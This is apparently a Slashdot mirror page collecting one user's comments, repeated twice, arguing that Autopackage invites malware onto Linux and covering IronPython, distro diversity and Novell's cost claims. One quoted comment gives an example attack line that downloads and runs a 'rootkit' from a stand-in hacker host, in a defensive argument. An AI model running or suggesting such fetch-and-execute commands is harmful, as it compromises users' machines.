How many times does it need to be explained to you how wrong you are about this before you start listening? I've seen this explained to you in painful detail several times on multiple mailing lists, and previously on slashdot. Autopackage is not a good idea, and it does not deserve to be in any sane Linux distribution by default. It's a solution to a problem that doesn't exist and opens the Linux world to the world of malware and other shit that Windows users are used to.
I've seen you waste the ubuntu dev's time on this by you repeating yourself over and over again, long after they showed why you are wrong and how they don't think Autopackage works for their distribution. Give it a rest already, eh?
Re:Reality says "hi, long time no see"
on
EZTree Shuts Down
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· Score: 2, Interesting
You might be surprised, but I actually agree with you on this one. But that guy seemed to think that it mattered what his moral outlook on the issue was... as if he was exempt from the law because he didn't feel he was committing a "moral crime". The laws are broken, and they need to change -- but that doesn't mean the laws don't exist.
Reality says "hi, long time no see"
on
EZTree Shuts Down
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· Score: -1, Troll
It doesn't matter one iota if you think you've committed a moral crime or not, the government has laws and you're breaking them. Case closed, dude.
Oh nevermind, excuse me... Bin Laden is on the teevee again so it's time for our two minutes of Hate. I hear W Bush has a conference scheduled afterwards to talk about all the Peace his wars have brought, how the new anti-terrorism laws make America free, and how strong the country is are with a leader like himself.
After that, then I'll maybe have some time to listen to your lame 1984 analogies -- you paranoid nutcase.
You're almost ready to give up XP, but insist that software designed to run only on XP will run on Linux. Get over it -- if software makers wanted to support Linux there are many ways for them to do this -- and some of them do write crossplatform games that run just fine of Linux, but they are the minority. If you want to make the leap to Linux, you'll have to get it through your head that you're giving up many applications and hardware devices that are closed and designed to solely work with Windows.
In certain popular cases people will create workarounds in WINE/Cedega/CrossoverOffice and enthusiasts have created drivers for some of even the most closed off and niche hardware devices -- but you cannot count on them to be easy to install or to work wonderfully. So really, you have to realize that not all software and hardware will work on Linux. What I don't get is that people are perfectly willing to accept that Windows-only hardware/software won't work on the Mac, but they can't accept that it won't work on Linux.
When you buy a playstation2, you do so knowing you won't be able to play Paper Mario or other exclusive Nintendo titles. When you buy a iPod, you do so knowing you can only use iTMS for legal music purchases. And when you use Linux you must realize that certain software and hardware publishers are hostile to Linux and you can't just blindly use anything that expects Windows to be running. If you mistakenly think that one day it'll all be perfect and linux will be 100% software and hardware compatible... I'll just hope you aren't holding your breath until then.
I phrase it this way: since the lead developer was hired by Microsoft, IronPython was changed to work with Microsoft's implementation of.NET but not Mono's implemention of.NET. Yes, the Mono team will implement these features soon enough as well, but the fact is that IronPython was moved from being a mono-compatible project to one that is not currently.
You perhaps don't read anything sinister into that -- that is your right of course. I would argue that it is foolish to ignore the past history of Microsoft and come to the conclusion that this is yet again just another coincidence. They have repeatedly acted in ways to break compatiblity with alternative programs to increase their monopolistic lock-in power, and this seems to be yet another example of this sort of behaviour.
You are free to disagree and naively think whatever you wish, I don't care to argue the point any further.
See this entry from Edd Dumbill, author of the (very good) book Mono, A Developers Notebook. Turns out that in the new release, IronPython was made to depend on features that make it incompatible with Mono. How shocking, once the developer got hired by Microsoft the program no longer works with Open Source. How unbelievably shocking this is. So out of character for Microsoft...
"You obviously have no experience with linux, or are trying to trick people."
I've run nothing but Linux on my desktop PC for 7 years now.
Note the part after I said "or"? The fact is, if you've used Linux for seven years on the desktop than you should know quite well that every major distribution doesn't drop freshly downloaded files to the desktop with the executable bit set on them. I'm not saying "you're an ignorant fool" or "you're a disingenous troll", I'm leaving the option open for both.
Your argument makes as much sense as suggesting that online copyright-infringement of music should be legalized because the MP3 format has too poor sound quality to compete with CDs.
Oh yeah, well your argument is like Hitler! Or some other such nonsense... I hope you see how foolish you sound.
Wow. What a shortsighted view. Your comment is almost a troll, as you suggest that Linux should be secure by being hard to operate. This is not that far from security through obscurity, which Microsoft tends to work under. Both of these techniques are ineffective, by the way.
You call it security by obscurity, I call it security by making dangerous things difficult to do. When a DOS user types "Format c:", does that just work all of a sudden? Well it used to, and dumbshit morons did it all too frequently so Microsoft learned to make this dangerous task a bit more complicated by forcing the user to type in the volume label exactly correct as confirmation. This added complication made it so that the people who didn't realize what a dangerous thing they were doing.
Likewise, the minor difficulty of making a linux user drop to a command line and perform operations there will prevent the vast majority of inexperienced users from peforming the dangerous of installing software off the internet, something that they have repeatedly proven to be unable to do safely. It's not that complicated, but I guess even simple things are too much for some slashbots....
Others already addressed your other questions, so I'll do the latter one.
"This may sound elitist of me, but if you can't figure out how to do it now, you probably aren't capable of making that sort of decision."
Yes, you sound incredibly elitist, as if it is impossible to be smart and NOT a computer expert. There is a big difference between knowing enough about one's Linux distro to install a program and having enough common sense to find programs on the internet with minimal risk of installing malware. If I google search for software that simulates microwave spectra of asymmetric top molecules (and by the way there are quite a few) what are the odds I'm going to find spyware masking itself as what I'm looking for?
I am not suggesting that all people that can install software on linux are smart, or that all smart people should be able to install software. I am suggesting instead that the people who best understand the consequences of installing software are those people who can already manage to install this software. I know a lot of very intelligent people who installed a hell of a lot of "freeware" that came bundled with all sorts of amazing shit that requires them to format their hard drive and start anew from stratch.
Despite how smart and successful these people are, they do not understand how software works and repeatedly fail to act with good computing pracices. No joke, even after I moved them to linux they are still trying to download these shitty application EXEs and wondering why they can't run them. This difficulty really did save them from hurting themselves, if there was an autopackage already integrated into their distro they would have all the same sorts of annoying problems that they had on Windows. All of this does not make them any less intelligent, they are just not smart computer users because they have chosen to undertake the effort to fully understand it, just as I am intelligent despite not having an advanced knowledge of financial law.
On the half-baked chance you aren't just pulling my leg, I'll take your reply seriously. After all, _someone_ thought you were serious (or funny enough to warrant a moderation).
Do not imagine that if Linux had the popularity of Microsoft(tm) Windows(r), it would take the malware coders more than a week to get into business. All they need is to provide executable files to run, and end-users they can convince to download files and then double-click them (assuming that Linux web browsers continue to non-autoexecute downloaded binaries). Once they've run that one binary, it can either execute the malware immediately, or merely install it in the user's writable disk space (including ~/.login, as well as ~/.firefox and maybe elsewhere)
If a system administrator feels his users at risk of installing malware, she is well able to disallow execution of files in their homedirectories. This will prevent home-grown attacks (like "paste these 3 lines into a terminal: wget http://download.hacker.com/rootkit;./rootkit"), and also make autopackage impotent as a side-effect. (An admin with this attitude would also disallow users from running autopackage at all, of course)
You obviously have no experience with linux, or are trying to trick people. If one downloads a file from the internet and then "double-clicks" it on the desktop as you suggest, it does not run. It requires you to go into a terminal and chmod a+x to the file in question before it will execute an app like that. This is a step that all by itself will prevent most inexperienced users from installing this sort of malware crap. Ironically, most of them will thing "ROFL LOL Gee Lunix suxx its so hard to use lol!!!" while it is saving their ass from their own stupidity.
What I am concerned about with autopackage is *exactly* the scenario you suggest. If autopackage was bundled by distro makers, then unlike now people *could* install malware crap at the touch of a button from the internet. Linux would be "easier to use" and thus instantly becoming rapidly easy to make just as lousy as Windows is now. This is why I am fighting the adoption of AutoPackage, because in the long run it can only hurt the overall user experience.
"To me it seems like anything that makes it easy for users to install random software off the internet to be a REALLY BAD THING."
This is hardly the point of the project.
Sadly, that is the point of the project. It's meant to aid the installation of packaged software from third party sources and manage dependancies in order to accomplish this. That is specifically my problem with it, it is a tool for enabling dangerous behaviour for unexperienced users.
Anybody who says EVERYTHING they'll ever need is included in their distro is just being a troll. Because it simply is not possible that ANY distro is "finished." And a lot of people don't want to wait months until something they want shows up in a repository.
I think you mistake the difference between "need" and "want". They are different, you know. So I will tell you that if you are using Mandrake, Fedora, Ubuntu, Gentoo, or any other popular distribution: there are no programs that an inexperienced user *needs* that do not come in their software repositories. Just because you are impatient and cannot wait a few months doesn't make your desire a neccessity, eh?
And I have NEVER had a spyware/virus/trojan problem from such software. (Although I have had software that simply screwed up the machine due to stupid programming.)
Shit, I didn't read that until now. I actually did think you were serious at first. Ah well, you got me.
Uh, I'm just saying that the Linux community ought to learn from the mistakes of the proprietary software community instead of going along for the ride. I don't care what you do or don't do -- if you want to be able to install Comet Cursors for Linux be my fucking guest, "homes". What I do know is that if you make it easy for unknowledgable users to install software, they will destroy their Linux machines just as they destroy their Windows machines on a fairly regular basis. If you actually know what you're doing you don't _need_ Autopackage... compiling from source is a fairly trivial task for a moderately experienced user. The people who "need" it are unfortunately the ones who really ought to not be installing software from stray internet sources at all.
There is no software I need that is not included with my distro. And even if there was, the process should be difficult enough for me to really examine the question of if I really ought to be installing the system. To rephrase: installing stray software off the internet is a task that computer users have repeatedly proven to not be able to make wisely. How many times do you have to wipe and reinstall your family/coworker/etc and they STILL keep installing every stupid malware-ridden executable they can get their grubby little hands on?
The point is, the decision to install stray software onto your machine should not be made lightly. Making the process easier for end users will inevitably lead to poor choices being made and Linux users will suffer from the same problems that plague Windows users. Your distribution already packages all the software you "need", and making software you "want" but isn't packaged ought to be serious decision. This may sound elitist of me, but if you can't figure out how to do it now, you probably aren't capable of making that sort of decision.
To me it seems like anything that makes it easy for users to install random software off the internet to be a REALLY BAD THING. Using Linux right now is a pleasure because if you're using Gentoo, Ubuntu, Fedora, Mandrake, etc... you get all your software packaged for you by your distribution. No spymare, no viruses, so adware, no shareware. It all generally works, dependancies are sorted out and managed, it's all a really good system.
Encouraging users to install Comet Cursors for Linux seems to me like a huge step backwards for Linux. I sincerely hope that distributions do not support this or any other system like this one to promote good computing practises and avoid the sorts of problems that plague Windows users. Why do we want to emulate what has been proven to be a terrible way of distributing and using software?
That movie was *way* to far fetched. I mean, what are the odds that a US President would invade some foreign country they know next-to-nothing about on completely made up "evidence", just to increase the popularity of the President? Seriously people, get a grip on reality.
And then you do the same thing you criticize when you imply that Debian does all the development. Should Debian take credit for all the hard work the developers of the wide variety of Linux applications they package?
To a user like me there is a lot of credit to go around. Credit to the software developers, for writing awesome software I use every day. Credit to Debian and the Debian developers, for packaging and assembling this huge variety of software and managing the complex dependancies and providing infrastructure. And finally credit to Ubuntu and their developers, for taking what they see as the best bits of that software, adding QA and a predictable release schedule and some other goodies, and making Gnome/Linux/Debian available for free and easy to use.
Do any of these groups deserve all the credit? Of course not -- they all work together, it's a very rich ecosystem and they all benefit by working together. Why start a pissing contest about who does more or less than the other?
$900,000/6,000 is $150 per desktop, roughly the cost of a license to upgrade Windows for all 6,000 machines. So are they suggesting that all 6,000 desktops needed to be upgraded in a single year? Or are they including MSOffice costs? That doesn't make sense to me, as that article indicated that most of their workforce had already switched over to OOo -- so the numbers can't fairly include that.
Does it include Windows server licenses? IF so that $900,000 has little to do with the cost saving of moving desktops to Linux and more about moving the entire organization over, which makes the Newsforge and Slashdot headlines quite misleading. I have a feeling that figure meant by switching to their own software, Novell managed to save $900K from their software purchasing budget, and didn't take into account the costs that an outside organization would have to make.
But was anyone actually at the Brainshare session and would care to comment on this? I'd like to know a bit more about where these numbers came from.
After all, it's his job to make things go smoothly after your depart -- why not try to cajole or guilt you into staying as long as possible? What isn't reasonable though is for you to fall for that -- give him the two weeks you are required to, and after that it's none of his business what you do.
Slight correction, those are things about Xandros Linux that piss you off, not Linux itself. My distribution takes under a minute to boot, has a nice simple clean look by default, has firefox installed and on the panel by default, can handle any PDFs that are out there, and has apt-get working wonderfully with a nice gui and when you install an app it shows up on the menu. It has the same screensaver issue and can't play shockwave, and has rebooting from a menu item not as a button. I'm not going to post what distribution I'm using because that would just turn this into a pissing contest, I'm just saying that pretty much every complaint you had is about Xandros Linux and not about Linux itself.
There are still things that piss me off, but far far fewer than piss me off about using MS Windows.
Even more appalling, most of the KDE distributors don't change the KDE clock font from the default either. I think some people out there must actually think that it looks good. I find it quite hard to believe that any people actually think those screenshots are impressively good, or that every single application must contain a letter "K", but it's just a matter of taste I suppose. Thank gawd there is choice though...
Whilst the Devs are busy arguing, Microsoft is busy inventing their next browser-os tie in
You make it seem like development on Mozilla products has stopped because Mozilla has internal disagreement, while the lack of internal disagreement has let IE development steam ahead. What makes you think that either is true? It seems logical to me that there is a fair amount of internal disagreement within Microsoft as well about the direction of their browser... the only difference being that their disagreements are not in public because of their corporate structure.
That's exactly what this is -- the article makes complete sense with the spin you put on it, but is complete nonsense with spin that slashdot put on it. You should apply.:-)
I reread it twice, what reasons did he actually give as to why the diverse linux distribution universe hurts Linux in the slightest? The only one I could see was that his friends were scared of being mocked for using the "wrong" distribution. That is not a reason, I'm sorry... that is just plain lame. You pick the one that fits best for you, and remember that know-it-all idiots will mock you for it.
In addition to that his long rant about fragmentation is totally off base. Unlike the UNIX fragmentation of old, in the free software world the competing groups work together as a pack instead of competing behind closed doors. When Red Hat writes some new code, Novell gets the benefit too if they so desire. New distributions like Ubuntu contribute more effort to making everything work better, and because of the nature of free software people will get the benefits of their work no matter who they are or what they use.
Part of the diversity of the Linux desktop also helps in providing tools that best suit the personality of the people working on them. If you like simple and sleek, you can use Gnome, if you like to configure every little thing you can do that in KDE. And these projects *do* co-operate in many ways such as menu and notification bar specs via freedesktop.org and are going to share the same multimedia framework (gstreamer) when KDE upgrades -- less duplication of effort yet again.
Slashdot Mirror
How many times does it need to be explained to you how wrong you are about this before you start listening? I've seen this explained to you in painful detail several times on multiple mailing lists, and previously on slashdot. Autopackage is not a good idea, and it does not deserve to be in any sane Linux distribution by default. It's a solution to a problem that doesn't exist and opens the Linux world to the world of malware and other shit that Windows users are used to.
I've seen you waste the ubuntu dev's time on this by you repeating yourself over and over again, long after they showed why you are wrong and how they don't think Autopackage works for their distribution. Give it a rest already, eh?
You might be surprised, but I actually agree with you on this one. But that guy seemed to think that it mattered what his moral outlook on the issue was... as if he was exempt from the law because he didn't feel he was committing a "moral crime". The laws are broken, and they need to change -- but that doesn't mean the laws don't exist.
It doesn't matter one iota if you think you've committed a moral crime or not, the government has laws and you're breaking them. Case closed, dude.
Oh nevermind, excuse me... Bin Laden is on the teevee again so it's time for our two minutes of Hate. I hear W Bush has a conference scheduled afterwards to talk about all the Peace his wars have brought, how the new anti-terrorism laws make America free, and how strong the country is are with a leader like himself.
After that, then I'll maybe have some time to listen to your lame 1984 analogies -- you paranoid nutcase.
You're almost ready to give up XP, but insist that software designed to run only on XP will run on Linux. Get over it -- if software makers wanted to support Linux there are many ways for them to do this -- and some of them do write crossplatform games that run just fine of Linux, but they are the minority. If you want to make the leap to Linux, you'll have to get it through your head that you're giving up many applications and hardware devices that are closed and designed to solely work with Windows.
In certain popular cases people will create workarounds in WINE/Cedega/CrossoverOffice and enthusiasts have created drivers for some of even the most closed off and niche hardware devices -- but you cannot count on them to be easy to install or to work wonderfully. So really, you have to realize that not all software and hardware will work on Linux. What I don't get is that people are perfectly willing to accept that Windows-only hardware/software won't work on the Mac, but they can't accept that it won't work on Linux.
When you buy a playstation2, you do so knowing you won't be able to play Paper Mario or other exclusive Nintendo titles. When you buy a iPod, you do so knowing you can only use iTMS for legal music purchases. And when you use Linux you must realize that certain software and hardware publishers are hostile to Linux and you can't just blindly use anything that expects Windows to be running. If you mistakenly think that one day it'll all be perfect and linux will be 100% software and hardware compatible... I'll just hope you aren't holding your breath until then.
I phrase it this way: since the lead developer was hired by Microsoft, IronPython was changed to work with Microsoft's implementation of .NET but not Mono's implemention of .NET. Yes, the Mono team will implement these features soon enough as well, but the fact is that IronPython was moved from being a mono-compatible project to one that is not currently.
You perhaps don't read anything sinister into that -- that is your right of course. I would argue that it is foolish to ignore the past history of Microsoft and come to the conclusion that this is yet again just another coincidence. They have repeatedly acted in ways to break compatiblity with alternative programs to increase their monopolistic lock-in power, and this seems to be yet another example of this sort of behaviour.
You are free to disagree and naively think whatever you wish, I don't care to argue the point any further.
See this entry from Edd Dumbill, author of the (very good) book Mono, A Developers Notebook. Turns out that in the new release, IronPython was made to depend on features that make it incompatible with Mono. How shocking, once the developer got hired by Microsoft the program no longer works with Open Source. How unbelievably shocking this is. So out of character for Microsoft...
100% on that one!
"You obviously have no experience with linux, or are trying to trick people."
I've run nothing but Linux on my desktop PC for 7 years now.
Note the part after I said "or"? The fact is, if you've used Linux for seven years on the desktop than you should know quite well that every major distribution doesn't drop freshly downloaded files to the desktop with the executable bit set on them. I'm not saying "you're an ignorant fool" or "you're a disingenous troll", I'm leaving the option open for both.
Your argument makes as much sense as suggesting that online copyright-infringement of music should be legalized because the MP3 format has too poor sound quality to compete with CDs.
Oh yeah, well your argument is like Hitler! Or some other such nonsense... I hope you see how foolish you sound.
Wow. What a shortsighted view. Your comment is almost a troll, as you suggest that Linux should be secure by being hard to operate. This is not that far from security through obscurity, which Microsoft tends to work under. Both of these techniques are ineffective, by the way.
You call it security by obscurity, I call it security by making dangerous things difficult to do. When a DOS user types "Format c:", does that just work all of a sudden? Well it used to, and dumbshit morons did it all too frequently so Microsoft learned to make this dangerous task a bit more complicated by forcing the user to type in the volume label exactly correct as confirmation. This added complication made it so that the people who didn't realize what a dangerous thing they were doing.
Likewise, the minor difficulty of making a linux user drop to a command line and perform operations there will prevent the vast majority of inexperienced users from peforming the dangerous of installing software off the internet, something that they have repeatedly proven to be unable to do safely. It's not that complicated, but I guess even simple things are too much for some slashbots....
Others already addressed your other questions, so I'll do the latter one.
"This may sound elitist of me, but if you can't figure out how to do it now, you probably aren't capable of making that sort of decision."
Yes, you sound incredibly elitist, as if it is impossible to be smart and NOT a computer expert. There is a big difference between knowing enough about one's Linux distro to install a program and having enough common sense to find programs on the internet with minimal risk of installing malware. If I google search for software that simulates microwave spectra of asymmetric top molecules (and by the way there are quite a few) what are the odds I'm going to find spyware masking itself as what I'm looking for?
I am not suggesting that all people that can install software on linux are smart, or that all smart people should be able to install software. I am suggesting instead that the people who best understand the consequences of installing software are those people who can already manage to install this software. I know a lot of very intelligent people who installed a hell of a lot of "freeware" that came bundled with all sorts of amazing shit that requires them to format their hard drive and start anew from stratch.
Despite how smart and successful these people are, they do not understand how software works and repeatedly fail to act with good computing pracices. No joke, even after I moved them to linux they are still trying to download these shitty application EXEs and wondering why they can't run them. This difficulty really did save them from hurting themselves, if there was an autopackage already integrated into their distro they would have all the same sorts of annoying problems that they had on Windows. All of this does not make them any less intelligent, they are just not smart computer users because they have chosen to undertake the effort to fully understand it, just as I am intelligent despite not having an advanced knowledge of financial law.
On the half-baked chance you aren't just pulling my leg, I'll take your reply seriously. After all, _someone_ thought you were serious (or funny enough to warrant a moderation).
Do not imagine that if Linux had the popularity of Microsoft(tm) Windows(r), it would take the malware coders more than a week to get into business. All they need is to provide executable files to run, and end-users they can convince to download files and then double-click them (assuming that Linux web browsers continue to non-autoexecute downloaded binaries). Once they've run that one binary, it can either execute the malware immediately, or merely install it in the user's writable disk space (including ~/.login, as well as ~/.firefox and maybe elsewhere)
If a system administrator feels his users at risk of installing malware, she is well able to disallow execution of files in their homedirectories. This will prevent home-grown attacks (like "paste these 3 lines into a terminal: wget http://download.hacker.com/rootkit;./rootkit"), and also make autopackage impotent as a side-effect. (An admin with this attitude would also disallow users from running autopackage at all, of course)
You obviously have no experience with linux, or are trying to trick people. If one downloads a file from the internet and then "double-clicks" it on the desktop as you suggest, it does not run. It requires you to go into a terminal and chmod a+x to the file in question before it will execute an app like that. This is a step that all by itself will prevent most inexperienced users from installing this sort of malware crap. Ironically, most of them will thing "ROFL LOL Gee Lunix suxx its so hard to use lol!!!" while it is saving their ass from their own stupidity.
What I am concerned about with autopackage is *exactly* the scenario you suggest. If autopackage was bundled by distro makers, then unlike now people *could* install malware crap at the touch of a button from the internet. Linux would be "easier to use" and thus instantly becoming rapidly easy to make just as lousy as Windows is now. This is why I am fighting the adoption of AutoPackage, because in the long run it can only hurt the overall user experience.
"To me it seems like anything that makes it easy for users to install random software off the internet to be a REALLY BAD THING."
This is hardly the point of the project.
Sadly, that is the point of the project. It's meant to aid the installation of packaged software from third party sources and manage dependancies in order to accomplish this. That is specifically my problem with it, it is a tool for enabling dangerous behaviour for unexperienced users.
Anybody who says EVERYTHING they'll ever need is included in their distro is just being a troll. Because it simply is not possible that ANY distro is "finished." And a lot of people don't want to wait months until something they want shows up in a repository.
I think you mistake the difference between "need" and "want". They are different, you know. So I will tell you that if you are using Mandrake, Fedora, Ubuntu, Gentoo, or any other popular distribution: there are no programs that an inexperienced user *needs* that do not come in their software repositories. Just because you are impatient and cannot wait a few months doesn't make your desire a neccessity, eh?
And I have NEVER had a spyware/virus/trojan problem from such software. (Although I have had software that simply screwed up the machine due to stupid programming.)
Shit, I didn't read that until now. I actually did think you were serious at first. Ah well, you got me.
Uh, I'm just saying that the Linux community ought to learn from the mistakes of the proprietary software community instead of going along for the ride. I don't care what you do or don't do -- if you want to be able to install Comet Cursors for Linux be my fucking guest, "homes". What I do know is that if you make it easy for unknowledgable users to install software, they will destroy their Linux machines just as they destroy their Windows machines on a fairly regular basis. If you actually know what you're doing you don't _need_ Autopackage... compiling from source is a fairly trivial task for a moderately experienced user. The people who "need" it are unfortunately the ones who really ought to not be installing software from stray internet sources at all.
There is no software I need that is not included with my distro. And even if there was, the process should be difficult enough for me to really examine the question of if I really ought to be installing the system. To rephrase: installing stray software off the internet is a task that computer users have repeatedly proven to not be able to make wisely. How many times do you have to wipe and reinstall your family/coworker/etc and they STILL keep installing every stupid malware-ridden executable they can get their grubby little hands on?
The point is, the decision to install stray software onto your machine should not be made lightly. Making the process easier for end users will inevitably lead to poor choices being made and Linux users will suffer from the same problems that plague Windows users. Your distribution already packages all the software you "need", and making software you "want" but isn't packaged ought to be serious decision. This may sound elitist of me, but if you can't figure out how to do it now, you probably aren't capable of making that sort of decision.
To me it seems like anything that makes it easy for users to install random software off the internet to be a REALLY BAD THING. Using Linux right now is a pleasure because if you're using Gentoo, Ubuntu, Fedora, Mandrake, etc... you get all your software packaged for you by your distribution. No spymare, no viruses, so adware, no shareware. It all generally works, dependancies are sorted out and managed, it's all a really good system.
Encouraging users to install Comet Cursors for Linux seems to me like a huge step backwards for Linux. I sincerely hope that distributions do not support this or any other system like this one to promote good computing practises and avoid the sorts of problems that plague Windows users. Why do we want to emulate what has been proven to be a terrible way of distributing and using software?
That movie was *way* to far fetched. I mean, what are the odds that a US President would invade some foreign country they know next-to-nothing about on completely made up "evidence", just to increase the popularity of the President? Seriously people, get a grip on reality.
And then you do the same thing you criticize when you imply that Debian does all the development. Should Debian take credit for all the hard work the developers of the wide variety of Linux applications they package?
To a user like me there is a lot of credit to go around. Credit to the software developers, for writing awesome software I use every day. Credit to Debian and the Debian developers, for packaging and assembling this huge variety of software and managing the complex dependancies and providing infrastructure. And finally credit to Ubuntu and their developers, for taking what they see as the best bits of that software, adding QA and a predictable release schedule and some other goodies, and making Gnome/Linux/Debian available for free and easy to use.
Do any of these groups deserve all the credit? Of course not -- they all work together, it's a very rich ecosystem and they all benefit by working together. Why start a pissing contest about who does more or less than the other?
$900,000/6,000 is $150 per desktop, roughly the cost of a license to upgrade Windows for all 6,000 machines. So are they suggesting that all 6,000 desktops needed to be upgraded in a single year? Or are they including MSOffice costs? That doesn't make sense to me, as that article indicated that most of their workforce had already switched over to OOo -- so the numbers can't fairly include that.
Does it include Windows server licenses? IF so that $900,000 has little to do with the cost saving of moving desktops to Linux and more about moving the entire organization over, which makes the Newsforge and Slashdot headlines quite misleading. I have a feeling that figure meant by switching to their own software, Novell managed to save $900K from their software purchasing budget, and didn't take into account the costs that an outside organization would have to make.
But was anyone actually at the Brainshare session and would care to comment on this? I'd like to know a bit more about where these numbers came from.
It's not my fault you don't understand how the world works.
After all, it's his job to make things go smoothly after your depart -- why not try to cajole or guilt you into staying as long as possible? What isn't reasonable though is for you to fall for that -- give him the two weeks you are required to, and after that it's none of his business what you do.
Slight correction, those are things about Xandros Linux that piss you off, not Linux itself. My distribution takes under a minute to boot, has a nice simple clean look by default, has firefox installed and on the panel by default, can handle any PDFs that are out there, and has apt-get working wonderfully with a nice gui and when you install an app it shows up on the menu. It has the same screensaver issue and can't play shockwave, and has rebooting from a menu item not as a button. I'm not going to post what distribution I'm using because that would just turn this into a pissing contest, I'm just saying that pretty much every complaint you had is about Xandros Linux and not about Linux itself.
There are still things that piss me off, but far far fewer than piss me off about using MS Windows.
Even more appalling, most of the KDE distributors don't change the KDE clock font from the default either. I think some people out there must actually think that it looks good. I find it quite hard to believe that any people actually think those screenshots are impressively good, or that every single application must contain a letter "K", but it's just a matter of taste I suppose. Thank gawd there is choice though...
Whilst the Devs are busy arguing, Microsoft is busy inventing their next browser-os tie in
You make it seem like development on Mozilla products has stopped because Mozilla has internal disagreement, while the lack of internal disagreement has let IE development steam ahead. What makes you think that either is true? It seems logical to me that there is a fair amount of internal disagreement within Microsoft as well about the direction of their browser... the only difference being that their disagreements are not in public because of their corporate structure.
That's exactly what this is -- the article makes complete sense with the spin you put on it, but is complete nonsense with spin that slashdot put on it. You should apply. :-)
I reread it twice, what reasons did he actually give as to why the diverse linux distribution universe hurts Linux in the slightest? The only one I could see was that his friends were scared of being mocked for using the "wrong" distribution. That is not a reason, I'm sorry... that is just plain lame. You pick the one that fits best for you, and remember that know-it-all idiots will mock you for it.
In addition to that his long rant about fragmentation is totally off base. Unlike the UNIX fragmentation of old, in the free software world the competing groups work together as a pack instead of competing behind closed doors. When Red Hat writes some new code, Novell gets the benefit too if they so desire. New distributions like Ubuntu contribute more effort to making everything work better, and because of the nature of free software people will get the benefits of their work no matter who they are or what they use.
Part of the diversity of the Linux desktop also helps in providing tools that best suit the personality of the people working on them. If you like simple and sleek, you can use Gnome, if you like to configure every little thing you can do that in KDE. And these projects *do* co-operate in many ways such as menu and notification bar specs via freedesktop.org and are going to share the same multimedia framework (gstreamer) when KDE upgrades -- less duplication of effort yet again.
This article is way off base...